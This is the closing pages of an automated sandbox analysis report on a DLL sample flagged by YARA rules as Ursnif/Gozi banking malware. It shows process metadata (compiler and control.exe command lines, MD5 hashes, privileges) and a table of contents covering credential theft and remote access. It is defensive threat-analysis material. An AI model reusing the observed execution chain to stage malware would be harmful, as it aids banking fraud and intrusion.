Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 21:28:59

Start date: 15/02/2021

Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
'C:\Users\user\AppData\Local\Temp\blohq23h\blohq23h.cmdline'

Imagebase: 0x7ff772220000

File size: 2739304 bytes

Analysis Process: powershell.exe PID: 3732 Parent PID: 6676Analysis Process: powershell.exe PID: 3732 Parent PID: 6676

General

Analysis Process: conhost.exe PID: 5376 Parent PID: 3732Analysis Process: conhost.exe PID: 5376 Parent PID: 3732

General

Analysis Process: csc.exe PID: 1324 Parent PID: 3732Analysis Process: csc.exe PID: 1324 Parent PID: 3732

General

Copyright null 2021 Page 73 of 75



MD5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Start time: 21:29:01

Start date: 15/02/2021

Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESA54D.tmp' 'c:\Users\user\Ap
pData\Local\Temp\blohq23h\CSC8288F7A0C087479098ACD74FC9F3E61F.TMP'

Imagebase: 0x7ff781770000

File size: 47280 bytes

MD5 hash: 33BB8BE0B4F547324D93D5D2725CAC3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:29:04

Start date: 15/02/2021

Path: C:\Windows\System32\control.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\control.exe -h

Imagebase: 0x7ff6b8d20000

File size: 117760 bytes

MD5 hash: 625DAC87CB5D7D44C5CA1DA57898065F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000026.00000003.420376736.000001A5E0F30000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: GoziRule, Description: Win32.Gozi, Source: 
00000026.00000003.420376736.000001A5E0F30000.00000004.00000001.sdmp, Author: 
CCN-CERT
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000026.00000002.464915515.0000000000DEE000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: GoziRule, Description: Win32.Gozi, Source: 
00000026.00000002.464915515.0000000000DEE000.00000004.00000001.sdmp, 
Author: CCN-CERT

Start time: 21:29:07

Start date: 15/02/2021

Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
'C:\Users\user\AppData\Local\Temp\3upkr1gh\3upkr1gh.cmdline'

Imagebase: 0x7ff772220000

Analysis Process: cvtres.exe PID: 5292 Parent PID: 1324Analysis Process: cvtres.exe PID: 5292 Parent PID: 1324

General

Analysis Process: control.exe PID: 2156 Parent PID: 6708Analysis Process: control.exe PID: 2156 Parent PID: 6708

General

Analysis Process: csc.exe PID: 5236 Parent PID: 3732Analysis Process: csc.exe PID: 5236 Parent PID: 3732

General
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Disassembly

Code Analysis

File size: 2739304 bytes

MD5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Copyright null 2021 Page 75 of 75


	Table of Contents
	Analysis Report Ne6A4k8vK6.dll
	Overview
	General Information
	Detection
	Signatures
	Classification

	Startup
	Malware Configuration
	Threatname: Ursnif

	Yara Overview
	Memory Dumps

	Sigma Overview
	System Summary:

	Signature Overview
	AV Detection:
	Compliance:
	Key, Mouse, Clipboard, Microphone and Screen Capturing:
	E-Banking Fraud:
	System Summary:
	Data Obfuscation:
	Hooking and other Techniques for Hiding and Protection:
	HIPS / PFW / Operating System Protection Evasion:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public
	Private

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon
	Static PE Info
	General
	Entrypoint Preview
	Rich Headers
	Data Directories
	Sections
	Resources
	Imports
	Exports
	Version Infos
	Possible Origin


	Network Behavior
	Network Port Distribution
	TCP Packets
	UDP Packets
	DNS Queries
	DNS Answers
	HTTP Request Dependency Graph
	HTTP Packets
	HTTPS Packets

	Code Manipulations
	User Modules
	Hook Summary
	Processes


	Statistics
	Behavior

	System Behavior
	Analysis Process: loaddll32.exe PID: 6696 Parent PID: 5656
	General
	File Activities

	Analysis Process: regsvr32.exe PID: 6708 Parent PID: 6696
	General
	File Activities
	Registry Activities

	Analysis Process: cmd.exe PID: 6728 Parent PID: 6696
	General
	File Activities

	Analysis Process: iexplore.exe PID: 6744 Parent PID: 6728
	General
	File Activities
	Registry Activities

	Analysis Process: iexplore.exe PID: 6828 Parent PID: 6744
	General
	File Activities
	Registry Activities

	Analysis Process: iexplore.exe PID: 6568 Parent PID: 6744
	General
	File Activities

	Analysis Process: iexplore.exe PID: 1632 Parent PID: 6744
	General
	File Activities

	Analysis Process: iexplore.exe PID: 5224 Parent PID: 6744
	General
	File Activities

	Analysis Process: mshta.exe PID: 6676 Parent PID: 3388
	General

	Analysis Process: powershell.exe PID: 3732 Parent PID: 6676
	General

	Analysis Process: conhost.exe PID: 5376 Parent PID: 3732
	General

	Analysis Process: csc.exe PID: 1324 Parent PID: 3732
	General

	Analysis Process: cvtres.exe PID: 5292 Parent PID: 1324
	General

	Analysis Process: control.exe PID: 2156 Parent PID: 6708
	General

	Analysis Process: csc.exe PID: 5236 Parent PID: 3732
	General


	Disassembly
	Code Analysis



